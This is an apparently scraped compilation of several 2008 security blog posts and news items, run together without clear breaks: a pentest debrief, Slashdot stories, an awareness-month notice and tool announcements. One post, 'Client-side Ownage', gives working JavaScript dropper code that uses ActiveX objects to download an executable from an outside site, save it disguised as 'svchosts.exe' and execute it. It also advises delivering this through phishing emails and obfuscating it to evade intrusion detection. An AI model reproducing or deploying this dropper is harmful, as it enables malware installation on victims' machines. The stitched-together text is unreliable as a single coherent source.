Jeff’s Blog

I'm busy preparing for a [de]briefing following a pentest that Eric and I completed a few weeks ago and was thinking about some of the challenges we faced on this particular engagement. Overall the engagement was VERY successful. We owned the client's infrastructure pretty much completely. This post is not so much about where we succeeded as it's about where we failed or could have improved our processes.

The one element that made this engagement different from most was the limited [really limited!] amount of time we had to complete all aspects of the engagement. 50 hours! This might seem a reasonable amount of time but when you consider that this included the remote, local [internal], phishing and reporting, it's a truly limited amount of time.

After finally getting all the contracts and authorization AKA 'Cover Your Ass' agreements signed we were finally able to proceed with the actual work. The scope itself placed some severe limitations on us but at the same time was very broad in what areas we could target. A contradiction I know. The scope, aside from limiting the amount of active time we had to do the work, as limited us to specific days for when we could actually perform any testing. The remote portion started on a friday night and the internal portion could begin on the Saturday and had a hard stop for both of 8pm on Sunday night.

This while not ideal did provide us with time to do the work. The remote portion of the engagement went pretty fast. The client had a reasonably small internet footprint and numerous sites and devices were out of scope. The internal portion though started off badly with the scope changing drastically. I HATE scope creep!

It turns out that the client was undergoing a large infrastructure and server migration. The address ranges we were provided were now invalid. No problem right? Just get the two new /24 ranges. But noooo, the client had changed the entire subnetting scheme and now we had servers accross about 6 or so subnets. Our scanning and fingerprinting time just increased one hullava a lot. Trying to explain to the client that this was now out of scope was like getting blood from a stone. Rather than posponing the pentest for an indefinite amount of time while waiting for another window to perform the work we decided to focus on only specific subnets and locations, again limiting the scope. Even so one of the things that became obvious was that rather than having the time to scan, enumerate and fingerprint the network and get a solid picture of how it operates and devices interact, I would have to be looking at potential ingress points while the scanning was going on. Not ideal but doable.

One thing I realized is that I'm going to need to keep more than one cheat sheet of scanning arguments for this type of situation in the future. By limiting your scan time you limit what can scan for and rather than taking scan results and reviewing them and then targeting and focusing on a single host, you need to decide on which hosts have the potential for greatest success and leave the others aside. This means you will miss things that may impact the success of the engagement.

Anyway, after enumerating workstations and servers via SMB and DCERPC scans I had an initial list of targets I wanted to focus on. While all this was going on I was also looking for a lot of the usual misconfigurations on the network such as unauthorized shares, default smtp community strings, insecure printers, workstations running the server service, etc... I found them all btw. ;)
So after bypassing the proxy, exfiltrating some data, and getting access to the SAN I needed to focus on the servers and workstations. What I realised was that I needed to better script some of the things I normally do. Running nessus from the command line is great. It's easy to script and cycle through some specific addys. I also realized I needed a few more specific custom scans that looked for a few specific vulnerabilities that I might leverage.

I did end up getting direct access on about 3 or 4 servers through various means. Being very focused as to what I was looking for and basing those searches on my initial analysis of their enviroment paid off. Luckily. It could have gone the other way and that would have, well, sucked. I managed to leverage some of those servers to get a little deeper into the network as well. The limitation on time meant that I could not use those boxes to pivot much deeper into the network. I simply checked for dual homed servers and scanned those subnets. The report covered the potential for further exploitation and access. Thankfully I'd already written scripts that when run would upload my scan utility, run it based on the ipconfig data and download the results to my host.

Another issue was that because this took place over the weekend the office was dead quiet. This meant no port level security, etc... This always makes man in the middle attacks pretty trivial and a great way to spoof dns, steal tokens, passwords, intercept RDP sessions, etc... Well with no traffic that sucked. The VoIP network segment was a little easier as we could create the voice traffic ourselves. That's always fun when you can intercept and replay the voice traffic.

The big issue with the internal portion, aside from managing changes in the scope, was that with limited time you really needed to know what your ultimate target was and to be able to make a decision on the path to take to achieve that goal. Do you target the servers directly? Do you go in via a workstation or do you attack the channels between these devices?

Obviously there are other routes to take but the point is that you need to be sure your direction is the right one or be able to change vectors quickly once you realise that the vector you're using is not working.

The phising portion of the engagement, while incredibly successful, also highlighted the issue of limited time while trying to gain as much information as possible. I've developed a series of scripts that I use in my phishing attacks to harvest, format and send emails, serve up webpages with code to drop a file, steal credentials and gather user information [both automatically and by enticing the user to enter credentials]. These scripts have served me well even though they need to be customized for the current client.

We made the decision that we would not have time to leverage any access we gained from the phish and so we wanted to gather as much data as possible from the target host before moving on to the next one. I have a series of scripts that will gather local data such as users, groups, domain, routes, browser history, etc, etc... I also have a script that takes screenshots of the remote host and downloads them to my system. [I love this script!] All the scripts work very well and save me a lot of time but one of the things I realized was that a phish can be too successful. :)

We had so many shells come through, that even with splitting them between Eric and myself we still missed some and were not able to gather all the data from everyone the way we wanted. I'm putting together a script that will call most of the other scripts when it runs so that I can run it once, gather the data and move on. Our current process is far more efficient than manually gathering that data but it still takes more time that I like in situations like this.

The ability to revise the payload mid phish was also something we had to do and, while we manged, it could have been done far more effeciently. I should have prepared the alternate payloads beforehand to account for this eventuality. Changing the payload on the webserver was as simple as replacing the existing on and modifying the headers in the page. The email was a little more difficult though. I needed to stop the existing smtp script, modify the paylaod and restart it with only the remaining emials being targeted. I then needed to regenerate a new phish email, containing the new payload and a new message, to entice the users that were already targeted. All this while trying to handle the existing shells. While it only takes one user to click on the link or attachment to be successful, this phish was about gathering as much data from as many users as possible.

I don't think our phish would have been half as successful if it had not been for mc and his ninja-like skills in modifying a pdf exploit to run as a Metasploit module, allowing us to use all the payloads in the framework. Awesome stuff.

Our ability to handle multiple payloads connecting back to our servers could also be improved. I actually lost about 5 shells because I could not establish a new session fast enough. Also, rather than having to run a script manually on the target it would be more effecient to have the payload execute a series of commands when it is executed without requiring any interaction at all.
When all was said and done the pentest was actually very successful and we achived all our goals, even with the hiccups we had along the way. It's always a good feeling when an engagement goes well, especially in an environment like this one.

It's important to review the processes and methods you use during an engagement regularily to see if they can be improved or made more effecient. Small things can make a huge difference to the success of a project.

Cheers,
/dean

rifles only writes "A German techie has found a remarkably simple way to discern some of the content of encrypted volumes containing images. The encrypted images don't reveal themselves totally, but in many cases do let an attacker see the outline of a high-contrast image. The attack works regardless of the encryption algorithm used (the widely-used AES for instance), and affects all utilities that use single symmetric keys. More significant to police around the world struggling with criminal and terrorist use of encryption, the attack also breaks the ability of users to 'hide' separate encrypted volumes inside already encrypted volumes, whose existence can now for the first time be revealed." The discoverer of this attack works for a company making full-disk encryption software; their product, TurboCrypt, has already been enhanced to defeat the attack. Other on-the-fly encryption products will probably be similarly enhanced, as the discoverer asserts: "To our knowledge is the described method free of patents and the author can confirm that he hasn't applied for protection."

Read more of this story at Slashdot.

October is National Cyber Security Awareness Month (NCSAM). As we rely more on technology-based solutions in our everyday lives, cybersecurity becomes everyone's responsibility. We encourage you to consider ways you can raise awareness among your faculty, staff, and students and invite you to help promote NCSAM. For further suggestions, please consult the Resource Kit for National Cyber Security Awareness Month, developed by the EDUCAUSE/Internet2 Security Task Force. 

Additional EDUCAUSE resources include: 

• NCSAM Sample Kit 
• Cybersecurity Awareness Resource Library 
• EDUCAUSE Security Awareness Resource Center
• EDUCAUSE Executive Security Awareness Resource Center
• EDUCAUSE, Internet2, and NCSA Press Release (9/29/2008)

Additional National Cyber Security Alliance resources include:

• NCSAM Web Banners, Events, Materials, and Endorsers

Many colleges and universities are planning events or developing awareness resources for NCSAM that we would like to highlight as part of higher education's ongoing efforts to increase awareness within our community. A list of institutions holding events in 2008 is currently available online. We would like to update this list with your events that will be held this October. Please share the URL or plans for your NCSAM-related initiatives with the participants on the Security Discussion list, or send an email to: Security-Task-Force@educause.edu.

There are also several exciting, cross-sector security awareness events in October. They are:

• Rochester Security Summit (University of Rochester)
• Who's Watching Charlottesville? (University of Virginia)

An anonymous reader writes "Researchers at MIT have created a method for analyzing networks to detect exploitable vulnerabilities using attack graph analysis which can be done in near real time. The new Lincoln Labs tool will allow admins of large networks to detect their most vulnerable areas and also model zero day attacks. 'NetSPA (for Network Security Planning Architecture) uses information about networks and the individual machines and programs running on them to create a graph that shows how hackers could infiltrate them. System administrators can examine visualizations of the graph themselves to decide what action to take, but NetSPA also analyzes the graph and offers recommendations about how to quickly fix the most important weaknesses. NetSPA relies on vulnerability scanners to identify known weaknesses in network-accessible programs that might allow an unauthorized person access to a machine. But simply being aware of vulnerabilities is not sufficient; NetSPA also has to analyze complex firewall and router rules to determine which vulnerabilities can actually be reached and exploited by attackers and how attackers can spread through a network by jumping from one vulnerable host to another.'"

Read more of this story at Slashdot.

cce writes "The MicroID standard, despite getting thrashed soundly by Ben Laurie two years ago, has since been recommended by the DataPortability Project and published on the user profiles of millions of users at Digg and Last.fm. MicroID is basically a hash calculated using a user's profile page URL and registered email address, producing a token that makes the email address vulnerable to dictionary attacks. To see how easy it was to crack these tokens, I conducted a small study, choosing 56,775 random Digg users, and cracking the email addresses of 14,294 of them (25%) using just their MicroID, username, and a list of popular email domains. Digg has more than 2 million users, and that means half a million of them — mostly people who had never heard of MicroID, and had probably not logged in for a long time — had their email addresses exposed to this trivial attack. I also applied this attack to Last.fm (19%) and ClaimID (34%). Digg and Last.fm have since removed support for MicroID, but the lesson is clear: don't publish a hash of my email address online, guys!"

Read more of this story at Slashdot.

So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.

It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?

Enter the Dropper. Using JavaScript and Microsoft's XMLHTTPRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHTTPRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHTTP Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.

What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.

First we need to create our object elements and the required attributes needed to download and execute the file we want:

function dropper() {

var x = document.createElement('object');
x.setAttribute('id','x');
x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');

try {
var obj = x.CreateObject('msxml2.XMLHTTP','');
var app = x.CreateObject('Shell.Application','');
var str = x.CreateObject('ADODB.stream','');

We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.

We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.

Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.

The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.

Now let's grab the file, install it to a directory of our choice and run it.

try {
str.type = 1;
obj.open('GET','http://coolsite.com//innocent.exe',false);
obj.send();
str.open();
str.Write(obj.responseBody);
var path = './/..//svchosts.exe';
str.SaveToFile(path,2);
str.Close();
}
catch(e) {}

First we use the Type property to set the type of data in the stream object. 1 is for Binary.

Next we use the XMLHTTPRequest Open Method intialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHTTPRequest Send Method allows us to send the HTTP request to the server.

The ADODB.stream Open Method is used to create and open a Stream opject. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use am option value of 2 that overwrites the file if it already exists. We then close the object.

The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.

try {
app.shellexecute(path);
}
catch(e) {}
}
catch(e) {}
}

Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.

You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.

One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.

Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the JavaScript on the page.

Cheers,

Category: Logging Technology and Techniques

Paper Added: July 29, 2008

Continuing my review of the best penetration testers tools, it's time to face the most dangerous vulnerability a website may suffer in regards to data protection : SQL Injection.
I'm not going through the sql injection basis as we already have a nice guide in depth and there is  a number of references on the internet.
But I'm going to make some rough classification of every tool listed so that this can serve as a quick reference.

Hey guys..

Our BlackHat/Defcon talk this year featured a few tools that we promised to release.. The first tool, or set of tools is reDuh which can be found [here]. reDuh is made up of 2 parts, a local proxy and a server component (which is jsp, php or asp). If you run the local proxy on your machine while pointing it to the server component, you are able to make TCP connections clean through the web-server. This comes in surprisingly helpful (and if nothing else is really cute!). You can read more about reDuh (with pretty pictures) by checking out the [reduh page] or by checking out our [Vegas slides].

[Squeeza] also had some tweaks, and now incorporates some SQL Server OLE goodness. Grab [v0.22 here], and read more about it in the [slides].

Have fun, play responsibly and please post feedback or comments here or to research@sensepost.com